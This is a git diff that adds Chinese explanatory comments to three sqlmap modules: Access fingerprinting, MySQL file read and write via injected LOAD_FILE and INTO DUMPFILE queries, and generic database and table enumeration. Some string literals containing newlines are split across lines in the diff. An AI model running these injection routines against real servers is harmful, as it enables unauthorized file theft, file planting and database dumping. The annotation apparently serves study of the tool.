diff --git a/src/sqlmap-master/plugins/dbms/access/fingerprint.py b/src/sqlmap-master/plugins/dbms/access/fingerprint.py index 2ab6394..bd49218 100644 --- a/src/sqlmap-master/plugins/dbms/access/fingerprint.py +++ b/src/sqlmap-master/plugins/dbms/access/fingerprint.py @@ -7,94 +7,109 @@ See the file 'LICENSE' for copying permission import re -from lib.core.common import Backend -from lib.core.common import Format -from lib.core.common import getCurrentThreadData -from lib.core.common import randomStr -from lib.core.common import wasLastResponseDBMSError -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.enums import DBMS -from lib.core.session import setDbms -from lib.core.settings import ACCESS_ALIASES -from lib.core.settings import METADB_SUFFIX -from lib.request import inject -from plugins.generic.fingerprint import Fingerprint as GenericFingerprint - +# 1. 从库中引入需要的模块和类 +from lib.core.common import Backend # 后端数据库信息 +from lib.core.common import Format # 格式化输出 +from lib.core.common import getCurrentThreadData # 获取当前线程的数据 +from lib.core.common import randomStr # 生成随机字符串 +from lib.core.common import wasLastResponseDBMSError # 判断最后响应是否包含数据库错误 +from lib.core.data import conf # 全局配置信息 +from lib.core.data import kb # 全局知识库 +from lib.core.data import logger # 日志记录器 +from lib.core.enums import DBMS # 数据库类型枚举 +from lib.core.session import setDbms # 设置当前数据库类型 +from lib.core.settings import ACCESS_ALIASES # ACCESS 数据库的别名 +from lib.core.settings import METADB_SUFFIX # 元数据表后缀 +from lib.request import inject # 注入相关函数 +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint # 通用指纹识别类 + +# 2. 定义一个类 Fingerprint,继承自 GenericFingerprint class Fingerprint(GenericFingerprint): + # 3. 构造函数,初始化数据库类型 def __init__(self): GenericFingerprint.__init__(self, DBMS.ACCESS) + # 4. 私有方法,检查是否在沙盒中运行 def _sandBoxCheck(self): - # Reference: http://milw0rm.com/papers/198 + # 参考链接: http://milw0rm.com/papers/198 retVal = None table = None + # 5. 根据 Access 版本设置需要查询的表名 if Backend.isVersionWithin(("97", "2000")): table = "MSysAccessObjects" elif Backend.isVersionWithin(("2002-2003", "2007")): table = "MSysAccessStorage" + # 6. 如果有对应的表名,则执行查询判断是否处于沙盒环境 if table is not None: result = inject.checkBooleanExpression("EXISTS(SELECT CURDIR() FROM %s)" % table) retVal = "not sandboxed" if result else "sandboxed" + # 7. 返回检测结果 return retVal + # 8. 私有方法,检查系统表是否存在 def _sysTablesCheck(self): infoMsg = "executing system table(s) existence fingerprint" logger.info(infoMsg) - # Microsoft Access table reference updated on 01/2010 + # 9. 定义不同版本 Access 需要检查的系统表 sysTables = { "97": ("MSysModules2", "MSysAccessObjects"), "2000": ("!MSysModules2", "MSysAccessObjects"), "2002-2003": ("MSysAccessStorage", "!MSysNavPaneObjectIDs"), "2007": ("MSysAccessStorage", "MSysNavPaneObjectIDs"), } + # MSysAccessXML 是不稳定的系统表,因为它并非总是存在 - # MSysAccessXML is not a reliable system table because it doesn't always exist - # ("Access through Access", p6, should be "normally doesn't exist" instead of "is normally empty") - + # 10. 遍历系统表,进行检查 for version, tables in sysTables.items(): exist = True for table in tables: negate = False + # 11. 如果表名以 ! 开头,表示该表应该不存在 if table[0] == '!': negate = True table = table[1:] + # 12. 执行 SQL 查询,检查表是否存在 result = inject.checkBooleanExpression("EXISTS(SELECT * FROM %s WHERE [RANDNUM]=[RANDNUM])" % table) if result is None: result = False + # 13. 如果表不应该存在,则取反 if negate: result = not result - + # 14. 对所有表的结果进行与运算,只有都满足才能认为当前版本匹配 exist &= result if not exist: break - + # 15. 如果当前版本匹配,则返回版本号 if exist: return version - + # 16. 如果所有版本都不匹配,则返回 None return None + # 17. 私有方法,获取数据库所在目录 def _getDatabaseDir(self): retVal = None infoMsg = "searching for database directory" logger.info(infoMsg) + # 18. 生成随机字符串 randStr = randomStr() + # 19. 执行 SQL 查询,尝试触发错误,获取数据库目录 inject.checkBooleanExpression("EXISTS(SELECT * FROM %s.%s WHERE [RANDNUM]=[RANDNUM])" % (randStr, randStr)) + # 20. 如果最后响应包含数据库错误 if wasLastResponseDBMSError(): threadData = getCurrentThreadData() + # 21. 从错误信息中提取数据库目录 match = re.search(r"Could not find file\s+'([^']+?)'", threadData.lastErrorPage[1]) if match: @@ -102,92 +117,115 @@ class Fingerprint(GenericFingerprint): if retVal.endswith('\\'): retVal = retVal[:-1] - + # 22. 返回数据库目录 return retVal + # 23. 获取指纹信息 def getFingerprint(self): value = "" + # 24. 获取 Web 服务器操作系统指纹 wsOsFp = Format.getOs("web server", kb.headersFp) - + # 25. 将 Web 服务器操作系统指纹添加到输出 if wsOsFp: - value += "%s\n" % wsOsFp + value += "%s\ +" % wsOsFp + # 26. 如果有数据库 Banner 信息 if kb.data.banner: + # 27. 获取后端数据库操作系统指纹 dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) - + # 28. 将后端数据库操作系统指纹添加到输出 if dbmsOsFp: - value += "%s\n" % dbmsOsFp + value += "%s\ +" % dbmsOsFp value += "back-end DBMS: " + # 29. 如果不是详细指纹,则返回数据库类型 if not conf.extensiveFp: value += DBMS.ACCESS return value + # 30. 获取活动的指纹信息 actVer = Format.getDbms() + " (%s)" % (self._sandBoxCheck()) blank = " " * 15 value += "active fingerprint: %s" % actVer + # 31. 如果有 Banner 解析指纹 if kb.bannerFp: banVer = kb.bannerFp.get("dbmsVersion") - + # 32. 如果有 Banner 版本号 if banVer: + # 33. 如果 Banner 信息包含 -log,则表示启用日志 if re.search(r"-log$", kb.data.banner or ""): banVer += ", logging enabled" - + # 34. 格式化 Banner 版本号 banVer = Format.getDbms([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + value += "\ +%sbanner parsing fingerprint: %s" % (blank, banVer) + # 35. 获取 HTML 错误指纹 htmlErrorFp = Format.getErrorParsedDBMSes() + # 36. 将 HTML 错误指纹添加到输出 if htmlErrorFp: - value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) - - value += "\ndatabase directory: '%s'" % self._getDatabaseDir() - + value += "\ +%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + # 37. 获取数据库目录并添加到输出 + value += "\ +database directory: '%s'" % self._getDatabaseDir() + # 38. 返回完整的指纹信息 return value + # 39. 检查数据库类型是否为 Access def checkDbms(self): + # 40. 如果不是详细指纹,且当前数据库类型属于 Access 别名,则设置数据库类型为 Access 并返回 True if not conf.extensiveFp and Backend.isDbmsWithin(ACCESS_ALIASES): setDbms(DBMS.ACCESS) return True - + # 41. 输出正在测试的数据库类型 infoMsg = "testing %s" % DBMS.ACCESS logger.info(infoMsg) + # 42. 执行 SQL 查询,检查数据库类型是否为 Access result = inject.checkBooleanExpression("VAL(CVAR(1))=1") - + # 43. 如果查询成功 if result: infoMsg = "confirming %s" % DBMS.ACCESS logger.info(infoMsg) - + # 44. 执行 SQL 查询,再次确认数据库类型是否为 Access result = inject.checkBooleanExpression("IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0") - + # 45. 如果再次确认失败,则输出警告信息,并返回 False if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS logger.warning(warnMsg) return False - + # 46. 设置数据库类型为 Access setDbms(DBMS.ACCESS) + # 47. 如果不是详细指纹,则返回 True if not conf.extensiveFp: return True - + # 48. 输出正在进行详细指纹识别 infoMsg = "actively fingerprinting %s" % DBMS.ACCESS logger.info(infoMsg) + # 49. 执行系统表检查,获取 Access 版本 version = self._sysTablesCheck() - + # 50. 如果获取到版本信息,则设置数据库版本 if version is not None: Backend.setVersion(version) - + # 51. 返回 True return True + # 52. 如果第一次查询失败,则输出警告信息,并返回 False else: warnMsg = "the back-end DBMS is not %s" % DBMS.ACCESS logger.warning(warnMsg) return False + # 53. 强制枚举数据库类型 def forceDbmsEnum(self): - conf.db = ("%s%s" % (DBMS.ACCESS, METADB_SUFFIX)).replace(' ', '_') + # 54. 设置数据库名称 + conf.db = ("%s%s" % (DBMS.ACCESS, METADB_SUFFIX)).replace(' ', '_') \ No newline at end of file diff --git a/src/sqlmap-master/plugins/dbms/mysql/filesystem.py b/src/sqlmap-master/plugins/dbms/mysql/filesystem.py index 8ac38c2..b07ed86 100644 --- a/src/sqlmap-master/plugins/dbms/mysql/filesystem.py +++ b/src/sqlmap-master/plugins/dbms/mysql/filesystem.py @@ -5,96 +5,118 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ -from lib.core.agent import agent -from lib.core.common import getSQLSnippet -from lib.core.common import isNumPosStrValue -from lib.core.common import isTechniqueAvailable -from lib.core.common import popValue -from lib.core.common import pushValue -from lib.core.common import randomStr -from lib.core.common import singleTimeWarnMessage -from lib.core.compat import xrange -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.decorators import stackedmethod -from lib.core.enums import CHARSET_TYPE -from lib.core.enums import DBMS -from lib.core.enums import EXPECTED -from lib.core.enums import PAYLOAD -from lib.core.enums import PLACE -from lib.core.exception import SqlmapNoneDataException -from lib.request import inject -from lib.request.connect import Connect as Request -from lib.techniques.union.use import unionUse -from plugins.generic.filesystem import Filesystem as GenericFilesystem - +# 1. 从库中导入需要的模块 +from lib.core.agent import agent # SQL 注入执行代理 +from lib.core.common import getSQLSnippet # 获取 SQL 代码片段 +from lib.core.common import isNumPosStrValue # 检查值是否为正数 +from lib.core.common import isTechniqueAvailable # 判断某注入方法是否可用 +from lib.core.common import popValue # 弹出栈值 +from lib.core.common import pushValue # 压入栈值 +from lib.core.common import randomStr # 生成随机字符串 +from lib.core.common import singleTimeWarnMessage # 输出只显示一次的警告 +from lib.core.compat import xrange # 兼容的 range 函数 +from lib.core.data import conf # 全局配置信息 +from lib.core.data import kb # 全局知识库 +from lib.core.data import logger # 日志记录器 +from lib.core.decorators import stackedmethod # 堆叠方法装饰器 +from lib.core.enums import CHARSET_TYPE # 字符集类型 +from lib.core.enums import DBMS # 数据库类型枚举 +from lib.core.enums import EXPECTED # 期望类型 +from lib.core.enums import PAYLOAD # payload 类型 +from lib.core.enums import PLACE # 注入位置 +from lib.core.exception import SqlmapNoneDataException # 无数据异常 +from lib.request import inject # 注入相关函数 +from lib.request.connect import Connect as Request # 连接请求 +from lib.techniques.union.use import unionUse # UNION 注入方法 +from plugins.generic.filesystem import Filesystem as GenericFilesystem # 通用文件系统操作类 + +# 2. 定义一个类 Filesystem,继承自 GenericFilesystem class Filesystem(GenericFilesystem): + # 3. 非堆叠读取文件的方法 def nonStackedReadFile(self, rFile): + # 4. 如果不是暴力模式,则输出读取文件信息 if not kb.bruteMode: infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) - + # 5. 执行SQL注入,读取文件内容,并以十六进制返回 result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) - + # 6. 返回读取结果 return result + # 7. 堆叠读取文件的方法 def stackedReadFile(self, remoteFile): + # 8. 如果不是暴力模式,则输出读取文件信息 if not kb.bruteMode: infoMsg = "fetching file: '%s'" % remoteFile logger.info(infoMsg) + # 9. 创建支持表 self.createSupportTbl(self.fileTblName, self.tblField, "longtext") + # 10. 获取远程临时目录 self.getRemoteTempPath() + # 11. 构建临时文件名 tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True)) + # 12. 输出调试信息 debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile debugMsg += "into temporary file '%s'" % tmpFile logger.debug(debugMsg) + # 13. 通过堆叠查询,将文件内容以十六进制形式保存到临时文件 inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile)) + # 14. 输出调试信息 debugMsg = "loading the content of hexadecimal encoded file " debugMsg += "'%s' into support table" % remoteFile logger.debug(debugMsg) + # 15. 通过堆叠查询,将临时文件内容导入到支持表中 inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField)) + # 16. 从支持表中获取文件内容的长度 length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) + # 17. 如果获取到的文件长度不合法 if not isNumPosStrValue(length): warnMsg = "unable to retrieve the content of the " warnMsg += "file '%s'" % remoteFile + # 18. 如果是直接模式或可以使用UNION注入 if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): if not kb.bruteMode: warnMsg += ", going to fall-back to simpler UNION technique" logger.warning(warnMsg) + # 19. 使用非堆叠方法读取文件 result = self.nonStackedReadFile(remoteFile) else: + # 20. 如果没有可用的方法,则抛出异常 raise SqlmapNoneDataException(warnMsg) else: + # 21. 将获取到的文件长度转为整数 length = int(length) chunkSize = 1024 - + # 22. 如果文件长度大于 chunkSize if length > chunkSize: result = [] - + # 23. 循环读取文件内容 for i in xrange(1, length, chunkSize): chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) result.append(chunk) else: + # 24. 直接读取文件内容 result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL) - + # 25. 返回文件内容 return result + # 26. 使用 UNION 注入写入文件的方法 @stackedmethod def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") - + # 27. 对本地文件进行十六进制编码 fcEncodedList = self.fileEncode(localFile, "hex", True) fcEncodedStr = fcEncodedList[0] fcEncodedStrLen = len(fcEncodedStr) + # 28. 如果在 GET 请求中且编码后的长度大于 8000,则输出警告信息 if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "as the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen @@ -102,28 +124,36 @@ class Filesystem(GenericFilesystem): warnMsg += "writing process" logger.warning(warnMsg) + # 29. 输出调试信息 debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) + # 30. 强制使用负数 where 条件 pushValue(kb.forceWhere) kb.forceWhere = PAYLOAD.WHERE.NEGATIVE + # 31. 构建 SQL 查询语句 sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile) + # 32. 执行 SQL 查询 unionUse(sqlQuery, unpack=False) kb.forceWhere = popValue() - + # 33. 输出警告信息,提示文件可能包含垃圾字符 warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from UNION query" singleTimeWarnMessage(warnMsg) + # 34. 检查写入的文件 return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) + # 35. 使用 LINES TERMINATED 写入文件的方法 def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): logger.debug("encoding file to its hexadecimal string value") + # 36. 对本地文件进行十六进制编码 fcEncodedList = self.fileEncode(localFile, "hex", True) fcEncodedStr = fcEncodedList[0][2:] fcEncodedStrLen = len(fcEncodedStr) + # 37. 如果在 GET 请求中且编码后的长度大于 8000,则输出警告信息 if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000: warnMsg = "the injection is on a GET parameter and the file " warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen @@ -131,47 +161,59 @@ class Filesystem(GenericFilesystem): warnMsg += "writing process" logger.warning(warnMsg) + # 38. 输出调试信息 debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) + # 39. 获取 SQL 代码片段 query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr) + # 40. 添加 SQL 前缀 query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required) + # 41. 生成 payload payload = agent.payload(newValue=query) + # 42. 执行 SQL 查询 Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False) - + # 43. 输出警告信息,提示文件可能包含垃圾字符 warnMsg = "expect junk characters inside the " warnMsg += "file as a leftover from original query" singleTimeWarnMessage(warnMsg) - + # 44. 检查写入的文件 return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) + # 45. 使用堆叠查询写入文件的方法 def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False): + # 46. 输出调试信息 debugMsg = "creating a support table to write the hexadecimal " debugMsg += "encoded file to" logger.debug(debugMsg) + # 47. 创建支持表 self.createSupportTbl(self.fileTblName, self.tblField, "longblob") - + # 48. 输出调试信息 logger.debug("encoding file to its hexadecimal string value") + # 49. 对本地文件进行十六进制编码 fcEncodedList = self.fileEncode(localFile, "hex", False) - + # 50. 输出调试信息 debugMsg = "forging SQL statements to write the hexadecimal " debugMsg += "encoded file to the support table" logger.debug(debugMsg) + # 51. 将文件内容转换为 SQL 查询语句 sqlQueries = self.fileToSqlQueries(fcEncodedList) - + # 52. 输出调试信息 logger.debug("inserting the hexadecimal encoded file to the support table") - + # 53. 设置最大允许的数据包大小 inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230) - + # 54. 循环执行 SQL 查询语句 for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) - + # 55. 输出调试信息 debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile) logger.debug(debugMsg) + # 56. 使用 DUMPFILE 将数据导出到远程文件 # Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True) - return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) + # 57. 检查写入的文件 + return self.askCheckWrittenFile(localFile, remoteFile, forceCheck) \ No newline at end of file diff --git a/src/sqlmap-master/plugins/generic/databases.py b/src/sqlmap-master/plugins/generic/databases.py index 02e8ca0..d205e1f 100644 --- a/src/sqlmap-master/plugins/generic/databases.py +++ b/src/sqlmap-master/plugins/generic/databases.py @@ -5,9 +5,12 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ +# 导入正则表达式模块 import re +# 从lib.core.agent模块导入agent对象,用于处理注入过程中的各种细节 from lib.core.agent import agent +# 从lib.core.common模块导入各种常用函数和常量,如arrayizeValue, Backend, filterNone 等 from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import filterNone @@ -29,60 +32,83 @@ from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming +# 从lib.core.data模块导入conf, kb, logger, paths, queries 对象,用于存储配置信息,知识库信息,日志记录等 from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries +# 从lib.core.decorators 模块导入 stackedmethod 装饰器 from lib.core.decorators import stackedmethod +# 从lib.core.dicts 模块导入 ALTIBASE_TYPES, FIREBIRD_TYPES, INFORMIX_TYPES 类型定义 from lib.core.dicts import ALTIBASE_TYPES from lib.core.dicts import FIREBIRD_TYPES from lib.core.dicts import INFORMIX_TYPES +# 从lib.core.enums模块导入各种枚举类型,如 CHARSET_TYPE, DBMS, EXPECTED, FORK, PAYLOAD 等 from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import FORK from lib.core.enums import PAYLOAD +# 从lib.core.exception模块导入各种自定义异常类 from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapUserQuitException +# 从lib.core.settings模块导入各种配置常量,如 CURRENT_DB, METADB_SUFFIX, PLUS_ONE_DBMSES 等 from lib.core.settings import CURRENT_DB from lib.core.settings import METADB_SUFFIX from lib.core.settings import PLUS_ONE_DBMSES from lib.core.settings import REFLECTED_VALUE_MARKER from lib.core.settings import UPPER_CASE_DBMSES from lib.core.settings import VERTICA_DEFAULT_SCHEMA +# 从lib.request模块导入inject函数,用于执行SQL注入 from lib.request import inject +# 从lib.utils.brute 模块导入 columnExists 和 tableExists 函数,用于暴力破解列和表是否存在 from lib.utils.brute import columnExists from lib.utils.brute import tableExists +# 导入第三方 six 库,用于兼容Python 2和Python 3 from thirdparty import six +# 定义 Databases 类,用于封装数据库枚举相关功能 class Databases(object): """ This class defines databases' enumeration functionalities for plugins. """ + # 初始化方法,初始化一些全局变量 def __init__(self): + # 当前数据库名称 kb.data.currentDb = "" + # 缓存的数据库名称列表 kb.data.cachedDbs = [] + # 缓存的表信息,以数据库名称作为键,表列表作为值 kb.data.cachedTables = {} + # 缓存的列信息,以数据库名称作为键,以表名称作为键,列列表作为值 kb.data.cachedColumns = {} + # 缓存的计数信息 kb.data.cachedCounts = {} + # 缓存的转储的表数据 kb.data.dumpedTable = {} + # 缓存的SQL语句 kb.data.cachedStatements = [] + # 定义 getCurrentDb 方法,用于获取当前数据库名称 def getCurrentDb(self): infoMsg = "fetching current database" logger.info(infoMsg) + # 根据当前数据库类型获取查询当前数据库的SQL语句 query = queries[Backend.getIdentifiedDbms()].current_db.query + # 如果当前数据库名称为空,则执行查询,并将结果保存到 kb.data.currentDb 中 if not kb.data.currentDb: kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False)) + # 如果当前数据库类型是 Vertica,且获取到的当前数据库名称为空,则设置默认的 schema 名称 if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): kb.data.currentDb = VERTICA_DEFAULT_SCHEMA + # 对于特定数据库,给出警告信息,提示用户使用 schema 或者 user 名称 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.CLICKHOUSE): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " @@ -94,20 +120,25 @@ class Databases(object): warnMsg += "names on other DBMSes" singleTimeWarnMessage(warnMsg) + # 返回当前数据库名称 return kb.data.currentDb + # 定义 getDbs 方法,用于获取所有数据库名称 def getDbs(self): + # 如果缓存的数据库名称列表不为空,则直接返回缓存的列表 if len(kb.data.cachedDbs) > 0: return kb.data.cachedDbs infoMsg = None + # 如果数据库类型是 MySQL 且没有 information_schema,则给出警告信息 if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5. database " warnMsg += "names will be fetched from 'mysql' database" logger.warning(warnMsg) + # 对于特定数据库,给出警告信息,提示用户使用 schema 或者 user 名称 elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.CLICKHOUSE): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " @@ -127,39 +158,52 @@ class Databases(object): else: infoMsg = "fetching database names" + # 输出日志信息 if infoMsg: logger.info(infoMsg) + # 获取查询数据库的根 SQL 语句 rootQuery = queries[Backend.getIdentifiedDbms()].dbs + # 如果可以使用联合查询,错误查询 或者直接模式 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: + # 如果是 MySQL 且没有 information_schema,则使用特定的 SQL 语句 if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.inband.query2 else: query = rootQuery.inband.query + # 执行 SQL 语句,获取数据库名称 values = inject.getValue(query, blind=False, time=False) + # 如果获取到数据库名称,则将其保存到缓存中 if not isNoneValue(values): kb.data.cachedDbs = arrayizeValue(values) + # 如果无法通过注入获取数据库名称,并且可以使用推理攻击,且不是直接模式 if not kb.data.cachedDbs and isInferenceAvailable() and not conf.direct: infoMsg = "fetching number of databases" logger.info(infoMsg) + # 如果是 MySQL 且没有 information_schema,则使用特定的 SQL 语句 if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: query = rootQuery.blind.count2 else: query = rootQuery.blind.count + # 执行 SQL 语句,获取数据库数量 count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) - + # 如果数据库数量不是一个有效的数字 if not isNumPosStrValue(count): errMsg = "unable to retrieve the number of databases" logger.error(errMsg) + # 如果数据库数量是一个有效的数字 else: + # 判断当前数据库是否需要加1 plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES + # 获取数据库索引范围 indexRange = getLimitRange(count, plusOne=plusOne) - + # 遍历数据库索引范围 for index in indexRange: + # 根据不同的数据库类型构造查询语句 if Backend.isDbms(DBMS.SYBASE): query = rootQuery.blind.query % (kb.data.cachedDbs[-1] if kb.data.cachedDbs else " ") elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: @@ -167,103 +211,125 @@ class Databases(object): else: query = rootQuery.blind.query % index + # 执行查询,获取数据库名称 db = unArrayizeValue(inject.getValue(query, union=False, error=False)) - + # 如果获取到数据库名称,则添加到缓存中 if not isNoneValue(db): kb.data.cachedDbs.append(safeSQLIdentificatorNaming(db)) + # 如果数据库类型是 MSSQL,且无法通过注入或者推理获取数据库名称 if not kb.data.cachedDbs and Backend.isDbms(DBMS.MSSQL): + # 如果可以使用联合查询,错误查询 或者直接模式 if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: blinds = (False, True) + # 否则使用盲注 else: blinds = (True,) + # 遍历盲注 for blind in blinds: count = 0 kb.data.cachedDbs = [] + # 不断尝试获取数据库名称 while True: query = rootQuery.inband.query2 % count + # 执行查询,获取数据库名称 value = unArrayizeValue(inject.getValue(query, blind=blind)) + # 如果没有获取到数据库名称,则跳出循环 if not (value or "").strip(): break else: + # 如果获取到数据库名称,则添加到缓存中 kb.data.cachedDbs.append(value) count += 1 + # 如果获取到数据库名称,则跳出循环 if kb.data.cachedDbs: break + # 如果无法获取数据库名称,则尝试获取当前数据库名称 if not kb.data.cachedDbs: infoMsg = "falling back to current database" logger.info(infoMsg) self.getCurrentDb() - + # 如果获取到当前数据库名称,则将其添加到缓存中 if kb.data.currentDb: kb.data.cachedDbs = [kb.data.currentDb] + # 如果无法获取当前数据库名称,则抛出异常 else: errMsg = "unable to retrieve the database names" raise SqlmapNoneDataException(errMsg) + # 如果获取到数据库名称,则对其进行排序 else: kb.data.cachedDbs.sort() + # 如果获取到数据库名称,则对其进行去重处理 if kb.data.cachedDbs: kb.data.cachedDbs = [_ for _ in set(flattenValue(kb.data.cachedDbs)) if _] + # 返回缓存的数据库名称列表 return kb.data.cachedDbs + # 定义 getTables 方法,用于获取指定数据库中的表名称 def getTables(self, bruteForce=None): + # 如果缓存的表信息不为空,则直接返回缓存的表信息 if len(kb.data.cachedTables) > 0: return kb.data.cachedTables + # 强制进行数据库类型枚举 self.forceDbmsEnum() - + # 如果没有指定暴力破解 if bruteForce is None: + # 如果是 MySQL 且没有 information_schema,则给出警告信息,并设置强制暴力破解 if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema: warnMsg = "information_schema not available, " warnMsg += "back-end DBMS is MySQL < 5.0" logger.warning(warnMsg) bruteForce = True - + # 如果是 MCKOI, EXTREMEDB, RAIMA, 则直接强制暴力破解 elif Backend.getIdentifiedDbms() in (DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.RAIMA): bruteForce = True - + # 如果是 ACCESS elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,): try: + # 尝试使用非暴力破解方法获取表信息 tables = self.getTables(False) except SqlmapNoneDataException: tables = None - + # 如果获取不到表信息,则给出警告信息,并设置强制暴力破解 if not tables: warnMsg = "cannot retrieve table names, " warnMsg += "back-end DBMS is %s" % Backend.getIdentifiedDbms() logger.warning(warnMsg) bruteForce = True + # 如果获取到表信息,则返回表信息 else: return tables - + # 如果 conf.db 等于 CURRENT_DB,则获取当前数据库名称 if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() - + # 如果指定了数据库名称,且是属于大写数据库类型,则转换为大写 if conf.db and Backend.getIdentifiedDbms() in UPPER_CASE_DBMSES: conf.db = conf.db.upper() - + # 如果指定了数据库名称,则按逗号拆分 if conf.db: dbs = conf.db.split(',') + # 如果没有指定数据库名称,则获取所有数据库名称 else: dbs = self.getDbs() - + # 对数据库名称进行过滤 dbs = [_ for _ in dbs if _ and _.strip()] - + # 对数据库名称进行安全处理 for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) - + # 如果需要暴力破解表名称 if bruteForce: resumeAvailable = False - + # 从 kb.brute.tables 中查找是否存在当前数据库的表信息 for db, table in kb.brute.tables: if db == conf.db: resumeAvailable = True break - + # 如果有可恢复的表信息,且不需要重新执行查询,则直接从缓存中获取表信息 if resumeAvailable and not conf.freshQueries: for db, table in kb.brute.tables: if db == conf.db: @@ -271,131 +337,158 @@ class Databases(object): kb.data.cachedTables[conf.db] = [table] else: kb.data.cachedTables[conf.db].append(table) - + # 返回缓存的表信息 return kb.data.cachedTables - + # 如果是 ACCESS, MCKOI, EXTREMEDB 等数据库,则给出提示信息,让用户选择是否使用通用的表检查 message = "do you want to use common table existence check? %s " % ("[Y/n/q]" if 